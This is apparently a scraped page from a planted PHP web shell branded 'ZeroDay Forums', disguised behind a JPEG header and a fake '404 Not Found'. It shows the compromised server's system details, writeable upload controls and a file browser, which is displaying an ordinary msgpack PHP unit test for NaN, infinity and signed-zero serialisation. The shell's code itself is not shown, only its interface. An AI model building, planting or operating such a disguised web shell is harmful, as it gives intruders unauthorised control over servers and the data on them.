����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/msgpack/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/msgpack/tests/041.phpt
--TEST--
Check for double NaN, Inf, -Inf, 0, and -0
--FILE--
<?php
function test($type, $variable, $check) {
    $serialized = msgpack_serialize($variable);
    $unserialized = msgpack_unserialize($serialized);

    echo $type, PHP_EOL;
    var_dump($variable);
    var_dump($unserialized);
    var_dump($check($unserialized));

    echo PHP_EOL;
}

test('double NaN:', NAN, "is_nan");
test('double Inf:', INF, "is_infinite");
test('double -Inf:', -INF, "is_infinite");
test('double 0.0:', 0.0, function($z) {
        $h = bin2hex(pack("E", $z));
        if ($h === "0000000000000000") {
            return true;
        }
        var_dump($h);
    }
);
test('double -0.0:', -0.0, function($z) {
        $h = bin2hex(pack("E", $z));
        if ($h === "8000000000000000") {
            return true;
        }
        var_dump($h);
    }
);

--EXPECTF--
double NaN:
float(NAN)
float(NAN)
bool(true)

double Inf:
float(INF)
float(INF)
bool(true)

double -Inf:
float(-INF)
float(-INF)
bool(true)

double 0.0:
float(0)
float(0)
bool(true)

double -0.0:
float(-0)
float(-0)
bool(true)

ZeroDay Forums Mini